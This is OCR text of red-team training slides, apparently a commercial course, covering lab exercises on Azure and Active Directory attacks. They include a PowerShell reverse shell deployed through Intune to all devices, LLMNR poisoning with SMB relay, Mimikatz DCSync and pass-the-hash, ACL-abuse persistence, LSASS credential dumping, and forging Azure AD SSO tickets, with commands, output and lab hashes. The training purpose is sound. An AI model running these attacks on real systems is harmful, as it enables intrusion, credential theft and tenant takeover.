Step 5 : Extract the plain text value of the secret stored in azure key vault.

Get-AzKeyVaultSecret -VaultName 'prod-test-key-vault' -Name 'Prod-Credential' -AsPlainText

PS C:\Windows\system32> Get-AzKeyVaultSecret

RedTeam




EXERCISE : Azure -5

Lateral Movement using Azure MDM Solution
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Step 1 : Authenticate to Endpoint Manager Admin Center with compromised Intune Admin / 0365 Admin / Global

Administrator.

< & @& endpoint.microsoft.com/#blade/Microsoft_Intune_DeviceSettings/DevicesMenu/mDMDevicesPreview o

Microsoft Endpoint Manager admin center

azure-global-admin@at...

& Home > Devices

DEFAULT DIRECTORY (ATOMIC-N...

Home 1 1
fr oA Devices | All devices X
£l Dashboard
= All services £ Search (Ctrl+/ « Refresh Y Filter == Columns \]_/ Export Bulk Device Actions
P
* FAVORITES @ ; a
Overview
Ei I,O lSearch by IMEI, serial number, email, user principal name, device name, management name, phone number, model, or manufacturer
Devices =) .
All devices —
Showing 1 to 2 of 2 records < Previous Page ‘ 1 N2 ‘ of 1 Next
58 Apps ; -
L # Monitor
@. tndpoint security Device name Ty Managed by Ty Ownership Ty Compliance Ty os 0s version Ty Last check-in Ty
By platform
Reports DESKTOP-D5F4F73 Intune Corporate o Compliant Windows 10.0.19044.1288 10/21/2021, 1:20:5¢
W Windows
“‘ Users DEV Intune Corporate o Compliant Windows 10.0.19044.1165 10/20/2021, 11:31:2
i0S/iPadOS
&8 Groups
H—' macOS
.:? Tenant administration
B Android

X Troubleshooting + support

Device enrollment

m Enroll devices

Provisioning

(P Windows 365

Policy

E! compliance policies
0 Conditional access
[©] Configuration profiles

B Scripts


https://endpoint.microsoft.com/

Step 2 : First start listener on attacker machine for reverse shell.

nc -nvlp 9999

docker®: flags=U4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:f1:e1:83:a8 txqueuelen © (Ethernet)
RX packets © bytes 0 (0.0 B)
RX errors © dropped ©® overruns © frame 0
TX packets © bytes 0 (0.0 B)
TX errors © dropped O overruns ©® carrier © collisions ©

eth®: flags=4163<UP,BROADCAST,RUNNING, MULTICAST> mtu 1500
inet 10.10.10.101 netmask 255.255.255.0 broadcast 10.10.10.255
inet6 fe80::250:56Fff:Ffe96:2d0Oc prefixlen 64 scopeid 0x20<link>
ether 00:50:56:96:2d:0c txqueuelen 1000 (Ethernet)
RX packets 205312 bytes 181184234 (172.7 MiB)
RX errors ©® dropped 356 overruns 0 +Frame 0O
TX packets 108176 bytes 13587666 (12.9 MiB)
TX errors © dropped ©® overruns 0 carrier © collisions ©

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 28 bytes 1400 (1.3 KiB)
RX errors © dropped ©® overruns © Frame 0
TX packets 28 bytes 1400 (1.3 KiB)
TX errors © dropped © overruns ©® carrier © collisions ©

~

9999
listening on [any] 9999




Step 3 : Create a powershell script which contains reverse shell code .

¥ Windows PowerShell ISE
File Edit View Tools Debug Add-ons Help

SH&LE s mia8Eoo|na.
| Exploitpst X

1 $client = New-Object System.Net.Sockets.TCPClient('10.10.10.101",9999);

2  Sstream = $client.GetStream();

3 [byte[]]1$bytes = 0..65535|%{0};

4 Ewhile((§1 = $stream.Read(Sbytes, 0, $hytes.Length)) -ne 0){

5 |$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
6 |$sendback = (iex $data 2>&1 | Out-String );

7 | $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';

8 |S$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback?2);

9 |$stream.Write($sendbyte,0,$sendbyte.Length);

10 | $stream.Flush(Q)};

11  $client.Close();

PS C:\Users\Hacker\Desktop>

Completed

Ln1 Col 29
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Step 4 : Now, add malicious powershell script on intune portal to execute on all the devices.

https://endpoint.microsoft.com/#blade/Microsoft Intune DeviceSettings/PowershellScriptsWizard

< C @& endpoint.microsoft.com/#blade/Microsoft_Intune_DeviceSettings/PowershellScriptsWizard

Microsoft Endpoint Manager admin center

ﬁ Home

4l Dashboard

= All services

“ FAVORITES

ﬁ Devices

i5 Apps

‘ Endpoint security
Reports

& Users

3 Groups

&2 Tenant administration

X Troubleshooting + support

«

Home Devices >

Add Powershell script

0 Basics 0 Script settings

Summary

Basics

Name

Description

Script settings

PowerShell script

Run this script using the logged on
credentials

Enforce script signature check

Run script in 64 bit PowerShell Host

Assignments

Included groups

Excluded groups

Q Assignments

Shell

Exploit.ps1
No

No
No

All devices
All users

O Review + add

@3 o

A

* O » @

azure-global-admin@at...
DEFAULT DIRECTORY (ATOMIC-N...


https://endpoint.microsoft.com/#blade/Microsoft_Intune_DeviceSettings/PowershellScriptsWizard

Step 5 : View all powerscripts which will be execute on intune managed devices .

https://endpoint.microsoft.com/#blade/Microsoft Intune DeviceSettings/DevicesMenu/powershell

< C @& endpoint.microsoft.com/#blade/Microsoft_Intune_DeviceSettings/DevicesMenu/powershell * O = @ :

Microsoft Endpoint Manager admin center azure-global-admin@at... /@
DEFAULT DIRECTORY (ATOMIC-N... @0

K Home > Devices

H . 5
Bt =y Devices | Scripts - K
4l Dashboard
= All services | £ search (Ctrl+/) | « + Add
o i @ Overview = 3 2 2 %
Script Name Platform Script Type Assigned Last modified
q Devices q All devices
e Shell Windows PowerShell script Yes 10/21/21, 2:18 AM
sas Apps #H Monitor
'; Endpoint security
By platform
Reports
B Windows
& Users
' i0S/iPadOS
4 Groups
el macos
A2 Tenant administration
B Android

X Troubleshooting + support

Device enrollment

Enroll devices

Provisioning

(@ Windows 365

Policy
E! compliance policies
O Conditional access

Configuration profiles

3

B Scripts


https://endpoint.microsoft.com/#blade/Microsoft_Intune_DeviceSettings/DevicesMenu/powershell

Step 6 : Malicious code executed on hybrid joined device [On-Premise] and we got reverse shell on attacker machine.

EY kali@kali: ~ - =N — O X

~

9999
listening on [any] 9999
connect to [10.10.10.101] from (UNKNOWN) [10.10.10.3] 52518

whoami

nt authority\system

PS C:\Windows\system32> hostname
DEV

PS C:\Windows\system32>




Step 7 : Get the information about compromised on-premise system.

systeminfo

PS C:\Windows\system32> systeminfo

Host Name:

OS Name:

OS Version:

OS Manufacturer:

OS Configuration:

OS Build Type:
Registered Owner:
Registered Organization:
Product ID:

Original Install Date:
System Boot Time:
System Manufacturer:
System Model:

System Type:
Processor(s):

BIOS Version:

Windows Directory:
System Directory:

Boot Device:

System Locale:

Input Locale:

Time Zone:

Total Physical Memory:

Available Physical Memory:

Virtual Memory: Max Size:
Virtual Memory:
Virtual Memory: In Use:
Page File Location(s):
Domain:

Logon Server:

Hotfix(s):

Network Card(s):

Available:

DEV

Microsoft Windows 10 Pro
10.0.19044 N/A Build 19044
Microsoft Corporation
Member Workstation
Multiprocessor Free

Admin

00330—-80000—-0O0OBO—-AA6GT8
10/19/2021, 2:23=3T BM
10/20/2021, 9:55:08 AM
VMware, Inc.

VMware7,1

x6U4—based PC

1 Processor(s) Installed.
[e1]:
VMware, Inc.
C:\Windows
C:\Windows\system32
\Device\HarddiskVolumel

en—us;English (United States)

00004009

(UTC—-08:00) Pacific Time (US & Canada)
4,095 MB

1,642 MB

5,503 MB

2,977 MB

2,526 MB

C:\pagefile.sys

atomic—nuclear.site

N/A

4 Hotfix(s) Installed.

[61]: KB56064331

[62]: KB5003791

[63]: KB5005033

[e4] : KB5005260

1 NIC(s) Installed.

[@1]:

Intelé6d Family 6 Model 85 Stepping 7 Genuinelntel
VMW71.00VvV.13989454.B64.1906190538,

~2200 Mhz
6/19/2019

Intel(R) 82574L Gigabit Network Connection



Module 4 : Attacking Active Directory Environment

Exercises :

« On-Premise Initial Access by LLMNR/NBT-NS Poisoning and SMB Relay
« Active Directory Persistence by Golden Key Attack

» Privilege Escalation by abusing ACLs

« Credential Access from Domain Controller and Workstation

« Lateral Movement from On-Premise to Cloud
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EXERCISE: AD -1

Initial Access by LLMNR/NBT-NS Poisoning and SMB Relay

184



Initial Access by Stealing Domain User Credential [Spoofing]

&
NP, (2) Response

Company No-Record found
DNS server

(1) Request | | unknown

D- host IP Address
Attacker (3) Broadcast Q

Machine
Employee
(4) Response Machine
victim
Attacker IP address ( )
(5) Connect to the attacker
(6) Steal
Victim Machine with credential (NTLM Hash)
credential

i

Company
Domain Controller

(7) Authenticate to the
Domain controller

With stolen credential

(Initial access) 185



Step 1 : Start Responder on EthO Interface for Spoofing Attack.

python Responder.py -I ethO

/home/kali/CHMRTS/AD/Responder
etho

NBT-NS, LLMNR & MDNS Responder 2.3

Author: Laurent Gaffie (laurent.gaffie@dgmail.com)
To kill this script hit CRTL-C

[+] Poisoners:
LLMNR
NBT-NS
DNS/MDNS

Servers:
HTTP server
HTTPS server
WPAD proxy
SMB server
Kerberos server
SQL server
FTP server
IMAP server
POP3 server
SMTP server
DNS server
LDAP server




HTTP server
HTTPS server
WPAD proxy
SMB server
Kerberos server
SQL server
FTP server
IMAP server
POP3 server
SMTP server
DNS server
LDAP server

HTTP Options:
Always serving EXE
Serving EXE
Serving HTML
Upstream Proxy

Poisoning Options:
Analyze Mode

Force WPAD auth
Force Basic Auth
Force LM downgrade
Fingerprint hosts

Generic Options:
Responder NIC
Responder IP
Challenge set

Listening for events...




Step 2 : Setting UP NTLM Relay Tool for Captured NetNTLM Hash to Target host for authentication

ntimrelayx.py -t Target-Host -c Command

e /home/../CHMRTS/AD/impacket/examples

ntlmrelayx.py 10.10.10.3 whoami
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

Protocol Client RPC loaded..
Protocol Client MSSQL loaded..
Protocol Client DCSYNC loaded..
Protocol Client SMTP loaded..
Protocol Client SMB loaded..
Protocol Client IMAP loaded..
Protocol Client IMAPS loaded..
Protocol Client LDAP loaded..
Protocol Client LDAPS loaded..
Protocol Client HTTPS loaded..
Protocol Client HTTP loaded..
Running in relay mode to single host
Setting up SMB Server

Setting up HTTP Server

Setting up WCF Server

hand bonned bl baad

=
]
]
.
!
=
\
=
|
1
=
,
;
J
=
|

[y p— p— p— p— p—
* % ¥ ¥ ¥ %
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Step 3 : User Trying to Access Unknown Host by Mistake.

\\unknownhost

-

“ H‘:lnle

T & \\unknownhost

A
- §
o
n
1

: z Frequent folders (4)
3¢ Quick access 9 = :

B Desktop Desktop Downloads Documents
¥ Downloads m el Q}: T ==
Documents
= Pictures Recent files (0)
B8 This PC Q Windows can't find "\\unknownhost'. Check the spelling and try again.

¥ Network

Administrator: Command Prompt

Ethernet adapter

)ddb%106

5197AF4-6370-4911-921B-04FAE1EOCDAS } :

disconnected

ccnacrific DAS

4 items

-—

Pictures




Step 4 : Responder started LLMINR Poisoning Attack.

istening for events.
Poisoned

Poisoned

unknownhost

UNKNOWNHOS

unknownhos

unknownhost

unknownhos

unknownhost

190




Step 5 : Captured NetNTLM Hash is Used to authentication to Target host by ntim relay tool.

ntimrelayx.py -t Target-Host -c Command

® /home/../CHMRTS/AD/impacket/examples
ntlmrelayx.py 10.10.10.3 whoami
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Protocol Client RPC loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client DCSYNC loaded..
[*#*] Protocol Client SMTP loaded..
[*] Protocol Client SMB loaded..
[*#*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client HTTPS loaded..

[*] Protocol Client HTTP loaded..

[*] Running in relay mode to single host
[*] Setting up SMB Server

[*] Setting up HTTP Server

[*] Setting up WCF Server

[*] Servers started, waiting for connections

[*] SMBD-Thread-4: Connection from ATOMIC-NUCLEAR/ADMINISTRATOR®10.10.10.2 controlled, attacking target smb://10.10.10.3
[*] Authenticating against smb://10.10.10.3 as ATOMIC-NUCLEAR/ADMINISTRATOR SUCCEED

[*] SMBD-Thread-4: Connection from ATOMIC-NUCLEAR/ADMINISTRATOR®10.10.10.2 controlled, but there are no more targets left!
[*] Service RemoteRegistry is in stopped state

[*] Service RemoteRegistry is disabled, enabling it

[*] Starting service RemoteRegistry

[*] SMBD-Thread-6: Connection from ATOMIC-NUCLEAR/ADMINISTRATOR®10.10.10.2 controlled, but there are no more targets left!
[*] Executed specified command on host: 10.10.10.3

nt authority\system

topping service RemoteRegistry
estoring the disabled state for service RemoteRegistry




EXERCISE : AD - 2

Active Directory Persistence by Golden Key Attack
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Step 1 : Import Powerview utility and get the information about ACLs on domain level belong to a compromised user .

. \PowerView_dev.ps1

whoami /user

Get-ObjectAcl -ldentity "DC=atomic-nuclear,DC=site" -ResolveGUIDs | ?{$_.Securityldentifier -match

'S-1-5-21-2014351116-3273711534-731752147-1112"}

E¥ Windows PowerShell

PS C:\Users\emp@l1\Downloads> .\PowerView_dev.psl

PS C:\Users\emp@l\Downloads> whoami /user

USER INFORMATION

atomic-nuclear\emp®l S-1-5-21-2014351116-3273711534-731752147-1112
PS C:\Users\emp@1l\Downloads> Get-ObjectAcl

AceQualifier
ObjectDN
ActiveDirectoryRights
ObjectAceType
ObjectSID
InheritanceFlags
Binarylength
AceType
ObjectAceFlags
IsCallback
PropagationFlags
Securityldentifier
AccessMask
AuditFlags
IsInherited
AceFlags

InheritedObjectAceType :
-

Opaquelength

AceQualifier
ObjectDN
ActiveDirectoryRights
ObjectAceType
ObjectSID
InheritanceFlags
Binarylength
AceType
ObjectAceFlags
IsCallback
PropagationFlags

: AccessAllowed

: DC=atomic-nuclear,DC=site

: ExtendedRight

: DS-Replication-Get-Changes-In-Filtered-Set
: $-1-5-21-2014351116-3273711534-731752147

: None

: 56

: AccessAllowedObject

: ObjectAceTypePresent

: False

: None

: S$-1-5-21-2014351116-3273711534-731752147-1112
1 256

: None

: False

: None

All

: AccessAllowed

: DC=atomic-nuclear,DC=site
: ExtendedRight

: DS-Replication-Get-Changes
: 5-1-5-21-2014351116-3273711534-731752147
: None

: 56

: AccessAllowedObject

: ObjectAceTypePresent

: False

: None

| 23

.SecurityIdentifier




AceQualifier
ObjectDN
ActiveDirectoryRights
ObjectAceType
ObjectSID
InheritanceFlags
BinarylLength
AceType
ObjectAceFlags
IsCallback
PropagationFlags
Securityldentifier
AccessMask
AuditFlags
IsInherited
AceFlags

Opaquelength

AceQualifier
ObjectDN
ActiveDirectoryRights
ObjectAceType
ObjectSID
InheritanceFlags
Binarylength
AceType
ObjectAceFlags
IsCallback
PropagationFlags
Securityldentifier
AccessMask
AuditFlags
IsInherited
AceFlags

InheritedObjectAceType :
H

Opaquelength

: AccessAllowed

¢ DC=atomic-nuclear,DC=site

: ExtendedRight

. DS-Replication-Get-Changes

1 §-1-5-21-2014351116-3273711534-731752147

: None

1 56

: AccessAllowedObject

: ObjectAceTypePresent

: False

: None

: 5-1-5-21-2014351116-3273711534-731752147-1112
1 256

: None

: False

: None

InheritedObjectAceType :
1 0

All

: AccessAllowed

. DC=atomic-nuclear,DC=site

: ExtendedRight

: DS-Replication-Get-Changes-All

1 §-1-5-21-2014351116-3273711534-731752147
: None

1 56

: AccessAllowedObject

: ObjectAceTypePresent

: False

: None

1 §-1-5-21-2014351116-3273711534-731752147-1112
1 256

: None

: False

: None

All




Step 2 : Invoke Mimikatz to sync administrator hash from DC using dcsync rights.

. \Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command "lsadump::dcsync /user:atomic-nuclear\administrator™

E¥ Windows PowerShell
PS C:\Users\emp@1\Desktop> . .\Invoke-Mimikatz.psl
PS C:\Users\emp@1\Desktop> Invoke-Mimikatz

JHHHEE,  mimikatz 2.2.0 (x64) #19041 Jul 24 2021 11:00:11
JHHE AN ##. "A La Vie, A L'Amour” - (oe.eo)
## |/ \ ## /*** Benjamin DELPY “gentilkiwi® ( benjamin@gentilkiwi.com )
# \ / ## > https://blog.gentilkiwi.com/mimikatz
“#Hov Vincent LE TOUX ( vincent.letoux@gmail.com )
K > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(powershell) # lsadump::dcsync /user:atomic-nuclear\administrator
[DC] *atomic-nuclear.site' will be the domain

[DC] 'DCO1.atomic-nuclear.site' will be the DC server

[DC] 'atomic-nuclear\administrator' will be the user account

[rpc] Service : ldap

[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN : Administrator
** SAM ACCOUNT **

SAM Username ¢ Administrator

Account Type : 30000000 ( USER_OBJECT )

User Account Control : 00000200 ( NORMAL_ACCOUNT )

Account expiration :

Password last change : 29-08-2021 84:31:44

Object Security ID : S-1-5-21-2014351116-3273711534-731752147-500
Object Relative ID : 500

Credentials:
Hash NTLM: 4346d4e5298397a9¢6830b9fce7c9d7a




Step 3 : Now, Use mimikatz to authenticate as domain admin with compromised administrator’s hash.

Invoke-Mimikatz -Command “sekurlsa::pth /user:administrator /ntim:4346d4e5298397a9c6830b9fce7c9d7a

)

/domain:atomic-nuclear.site

E¥ Administrator: Windows PowerShell

mimikatz(powershell) # sekurlsa::pth /user:administrator /ntlm:4346d4e5298397a9c6830b9fce7c9d7a /domain:atomic-
nuclear.site
user : administrator
domain : atomic-nuclear.site
program : cmd.exe
impers. : no
NTLM : 4346d4e5298397a9c6830b9fce7c9d7a
| PID 4476
| TID 6368
| LSA Process is now R/W
| LUID @ ; 1583176 (00000000:00182848)
\_ msvl @ - data copy @ 0000019CB804B08O :
\_ kerberos - data copy @ 0000019CB848AD28
aes256 hmac -> null
aes128 hmac -> null
rcd_hmac_nt OK
rcd4_hmac_old OK
rcd_md4 OK
rcd hmac nt exp OK
rc4d hmac old exp OK
*Password replace @ 0000019CB80F9738 (32) -> null

[ 9 b L e et
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Step 4 : Least privilege user can access domain administrator directory.

dir \\dc01.atomic-nuclear.site\c$

Administrator: C:\Windows\SYSTEM32\cmd.exe

Microsoft Windows [Version 10.8.17
(c) 20618 Micr ft Corporation. A

C:\Windows\system32>whoami
atomic-nuclear\emp@1l

C:\Windows\system32>hostname
DEV

C:\Windows\system3 ir \\dc@l.atomic-nuclear.si
Volume in drive \\ .atomic-nuclear.site\c$ i
Volume Serial

Directory of dcol.atomic-nuclear.site\c$

24-02-2020
24-02-2020
09-03-2020
09-03-2020
29-08-2021
04-10-2021

<DIR> ovhupd
<DIR> PertlLogs
<DIR> Program Files
<DIR> Program Files (x86)
<DIR> Users

Windows

@ bytes
9,952 bytes free

-
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EXERCISE : AD -3

Persistence by abusing ACLs
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Step 1 : Import “Powerview” utility and provide “FULL” rights on the domain with DA privileges.

. \PowerView_dev.ps1

whoami /user
Add-ObjectAcl -lIdentity "DC=atomic-nuclear,DC=site" -PrincipalSamAccountname emp01 -Rights All -verbose

Step 2 : Provide “DCYSNC” rights on the domain with DA privileges.
Add-ObjectAcl -ldentity "DC=atomic-nuclear,DC=site" -PrincipalSamAccountname emp01 -Rights DCSync -verbose

Step 3 : Extract “krbtgt” hash using mimikatz:

Isadump::dcsync /user:atomic-nuclear\krbtgt
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EXERCISE : AD -4

Credential Access from Domain Controller & Workstations
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m
¢ to Attacker Y l_
—y

atial from
\en Cre € tial From .
1c. pxfiltrate Sto 1b. Dump Crede:\\\/\emof\/ Domain
Nids.dit & LSAS controller
in
in Admin of Local Adm
¥ <o DC as Domain Workstation
Compromise

- 1a. Connected to
-_ DC

Attacker

2a. Compromise Workstation as Local Admin

Bl

Workstation

2b. Dump Credential From .
(Domain joined)

SAM & LSASS Memory

2c. Exfiltrate Stolen Credential from Workstation to Attacker

System Active Directory Environment



Step 1 : Check the user privileges on compromised workstation.

whoami
net user emp01 /domain
net localgroup administrators

EN Administrator: Windows PowerShell

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
atomic-nuclear\emp0l
PS C:\Windows\system32> net localgroup administrators
Alias name administrators
Administrators have complete and unrestricted access to the computer/domain

Administrator
ATOMIC-NUCLEAR\Domain Admins
ATOMIC-NUCLEAR\emp@1

The command completed successfully.




Step 2 : Download Mimikatz powershell script on the compromised system.

dir

N Administrator: Windows PowerShell -— O X
PS C:\Users\emp@®l\Desktop> dir

Directory: C:\Users\emp@1l\Desktop

LastWriteTime Length Name

03-10-2021 01:19 3625037 Invoke-Mimikatz.psl
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Step 3 : Import Mimikatz in memory and Invoke it for dumping the credential from LSASS Memory. [Local Admin Permission Required]

Import-Module .\Invoke-Mimikatz.ps1

Invoke-Mimikatz

EN Administrator: Windows PowerShell

PS C:\Users\emp@l\Desktop> Import-Module .\Invoke-Mimikatz.psl
PS C:\Users\emp@l1l\Desktop> Invoke-Mimikatz

SRR mimikatz 2.2.0 (x64) #19041 Jul 24 2021 11:00:11
JiHE N~ ##. YA La Vie, A L'Amour™ - (oe.eo)
## / \ ## /*** Benjamin DELPY "gentilkiwi~ ( benjamin@gentilkiwi.com )
HE \ / > https://blog.gentilkiwi.com/mimikatz
" v HE' Vincent LE TOUX ( vincent.letoux@gmail.com )
' iHHEE > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 1369070 (©0000000:0014e3ee)
Session : Interactive from 2
User Name : emp@l
Domain : ATOMIC-NUCLEAR
Logon Server : DCol
Logon Time : 94-10-2021 12:51:35
SID : S-1-5-21-2014351116-3273711534-731752147-1112
msv
[00000003] Primary
* Username : emp@l
Domain : ATOMIC-NUCLEAR
NTLM : 88d809fd60e32cb3fa69926c54a61d93
SHA1 : a50e917400441300ed067684ba62357a0819bade
DPAPI : ©ed34b01cOf0099c13f575f%aa3bfidf
tspkg
wdigest
* Username : emp9l1




EN Administrator: Windows PowerShell

Authentication Id : 0 ; 1354789 (©00000000:0014ac25)
Session : Interactive from 2
User Name : DWM-2
Domain : Window Manager
Logon Server : (null)
Logon Time : 94-10-2021 12:51:18
SID : S-1-5-90-0-2

msv :
[00000003] Primary
* Username : DEV$
* Domain : ATOMIC-NUCLEAR

* NTLM : 4aftb5675f4c84alf3b7e7ca57fe8d1d6

* SHA1 : b4a25c69a70e372d46379e90c8a7eca9cadc33ab
tspkg
wdigest

* Username : DEV$
* Domain : ATOMIC-NUCLEAR
* Password : (null)
kerberos
* Username : DEV$
* Domain : atomic-nuclear.
* Password : fb 3e da 1c df
fc 11 8a 4a e5 ab 49 53 89
c8 97 a3 ed 77 7d 87 87 41
88 58 0d dd bc 72 @e 5b 1a
3e ed 5f ab bb el 5d fe 89
79 13 c4 42 74 7c da ©d 97
ba 9a 10 e7 13 75 7e 93 62
Ssp :




EN Administrator: Windows PowerShell

Authentication Id :
Session
User Name
Domain
Logon Server
Logon Time
SID

msv :

[00000003 ]

* Username :
* Domain
* NTLM
*x

SHA1
tspkg :
wdigest :

* Username :

* Domain

* Password :

kerberos :

* Username :

* Domain

* Password :

SSp -
credman :

@ ; 996 (00000 :000003e4)

: Service from ©
- DEV$
: ATOMIC-NUCLEAR

(null)

: 04-10-2021 12:25:43
: 5-1-5-20

Primary

: DEV$

: ATOMIC-NUCLEAR

: 4afb5675ft4c84alf3b7e7ca57fte8d1d6

: b4a25c69a70e372d46379e90c8a7eca9cadc33ab

DEV$
: ATOMIC-NUCLEAR
(null)

dev$
: ATOMIC-NUCLEAR.SITE
(null)




EXERCISE: AD -5

Lateral Movement On-Premise to Cloud
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Ticket from AD

Azure AD decrypts
Kerberos ticket
Microsoft Azure
App User redlrectef:l to. Active Dlrectory
Azure AD for sign-in .’
, \ . / ’ 4 !
( ' L7 // // I/ I:
L / ,// /// //I ,// ,’
' > 7 J/ / / Azure AD completes
e ’ / . .
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\ \ ’ ’ 4 ’ 1
\ , 7 4 1
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\ \ L7 ’ ’ / /
\ \ , ’ ’ / I
\ \ . L ’ )/ ’
\ 4 ’ ]
\\ \ // // / // '
\ \‘ Re R /’ / I/
r————=—=—=-=-=-=-=-- “_ U _¢'_ ______________ _,/ ____________ .l.l ________ e
\ \ L7 ’ ’ 1 |
1 | \ , ’ 7 ’ 1 |
1 \ ! L7 / / / / I
| \‘ “ L’ L,/ ’ K ' |
| . . ’ 1
. \ \ User triesto .- / Challenge / |
\ 7’ 7
: \‘ | access app /,’ ’ R For Kerberosj,' /II :
| L g aCoan) | ticket : |
1 ‘\ \ 7 / ’ ,I ,’ 1
1 | \ R4 0. ,/ ’ ’ 1
1 \ \ , ’ )/ / 1
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: If successful, | ) L ,User enters v /// Browser ,’I Contoso Corpnet |
' user gets \ L username /! / forwards , |
1 \ v, / . |
: Access to app v ! / y Ticket to/ ) !
| \ \ p ; / Azure AD s Windows Server !
! \ v s J / K WM Active Directory |
Y O ___ Y- _——————————_— Y __ |
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| [ i Kerberos ticket |
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1 . : 1 :
: Domain- ; B I :
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Step 1 : First dump the Azure AD SSO computer account hash using dcsync or any other method.

l1sadump::dcsync /domain:atomic-nuclear.site /user:AZUREADSSOACCS

EN Administrator: Windows PowerShell

mimikatz(powershell) # lsadump::dcsync /domain:atomic-nuclear.site /user:AZUREADSSOACC$
[DC] 'atomic-nuclear.site' will be the domain

[DC] 'DCO1.atomic-nuclear.site' will be the DC server

[DC] "AZUREADSSOACC$' will be the user account

[rpc] Service : ldap

[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN : AZUREADSSOACC
*% SAM ACCOUNT **

SAM Username : AZUREADSSOACC$

Account Type : 30000001 ( MACHINE_ACCOUNT )

User Account Control : 00011000 ( WORKSTATION_TRUST_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration

Password last change : 30-08-2021 13:50:37

Object Security ID : S-1-5-21-2014351116-3273711534-731752147-1117

Object Relative ID : 1117

Credentials:
Hash NTLM: e901c054a7403981ce58452314677309
ntlm- 0: e901c054a7403981ce58452314677309
Im - 0: 7861e2ab2e7ac6531e6b331e30a5d222

Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
Default Salt : ATOMIC-NUCLEAR.SITEhostazureadssoacc.atomic-nuclear.site
Default Iterations : 4096
Credentials
aes256_hmac (4096) : ac@82b402bdfd67bf5f717c3a9fcf38b92275419d23cc2a3ed8ec27ca756b2c7




Step 2 : Authenticate as a domain user [emp01] .

whoami

net user emp01 /domain
net localgroup administrator

EN Administrator: Windows PowerShell

PS C:\Users\emp®l> whoami

atomic-nuclear\empl

PS C:\Users\emp®l> net user emp®l /domain

The request will be processed at a domain controller for domain atomic-nuclear.site.

User name empel

Full Name emp ©1

Comment

User's comment

Country/region code 000 (System Default)
Account active Yes

Account expires Never

Password last set 8/38/72021 12:49:55
Password expires Never

Password changeable 8/31/72821 12:49:55
Password required Yes

User may change password Yes

Workstations allowed All

Logon script

User profile

Home directory

Last logon 1e/21/72021 2:16:59

Logon hours allowed All
Local Group Memberships

Global Group memberships *Domain Users *Devloper
The command completed successfully.




EN Administrator: Windows PowerShell

PS C:\Users\emp@l> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain

Members

Administrator
ATOMIC-NUCLEAR\Administrator
ATOMIC-NUCLEAR\Domain Admins
ATOMIC-NUCLEAR\emp@1
ATOMIC-NUCLEAR\emp@82

The command completed successfully.

PS C:\Users\emp@l>




Step 3 : Install and Import AADInternal tool.

Install-Module AADInternals
Import-Module AADInternals

PS C:\Windows\system32> Install-Module AADInternals
PS C:\Windows\system32> Import-Module AADInternals

Step 4 : Creating Kerberos tickets of any synced ad user [emp02]] with azure ad.

$kerberos=New-AADIntKerberosTicket -SidString "Impersonated User SID" -Hash "AzureADSSOACC$

Compute Account Hash"

—

i
' EX AADInternals 0.6.4 = 0 ¥

PS C:\Windows\system32> $kerberos=New-AADIntKerberosTicket
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Step 5 : Get azure ad graph access token of impersonated user [emp02] .

$at=Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain atomic-nuclear.site

-SaveToCache

PS C:\Windows\system32> $at=Get-AADIntAccessTokenForAADGraph pkerberos atomic-nucl
ear.site

AccessToken saved to cache.

PS C:\Windows\system32> Get-AADIntCache

empO2@atomic nuclear.site
1b730954-1685-4b74-9bfd-dac224a7b894
https://graph.windows .net
143198ca4-77be-42f7-bl18e-95c5b693e6b9

IsExpired : False

HasRefreshToken : True

AuthMethods {pwd, wia}

Device




Step 7 : Authenticate to the azure ad with impersonate user.

Get-AADIntUsers -AccessToken $at

EN AADInternals 0.6.4
PS C:\Windows\system32> Get-AADIntUsers

lternateEmailAddresses
\1ternateMobilePhones
AlternativeSecurityIds

CloudExchangeRecipientDisplayType
Country
Department :
DirSyncEnabled : true
DirSyncProvisioningErrors :
: On-Premises Directory Synchronization Service Account

: false

: false
LastDirSyncTime 1 2021-08-30T720:49:44Z
LastName -
LastPasswordChangeTimestamp 1 2021-08-30720:49:447
LicenseAssignmentDetails -
LicenseReconciliationNeeded : false

: 100320017667AA3E
MSExchRecipientTypeDetails
MSRtcSipDeploymentLocator
MSRtcSipPrimaryUserAddress
MobilePhone
OathTokenMetadata -
: @bel1819-95c2-4887-b1c1-32cfd6464185

OverallProvisioningStatus : None
PasswordNeverExpires : true
PasswordResetNotRequiredDuringActivate : true
PhoneNumber

PortalSettings




Thank you for being a part of the training

For any queries / doubts please email support@cyberwarfare.live

Follow us on :
* LinkedIn: https://www.linkedin.com/company/cyberwarfare/

o Twitter: https://twitter.com/cyberwarfarelab
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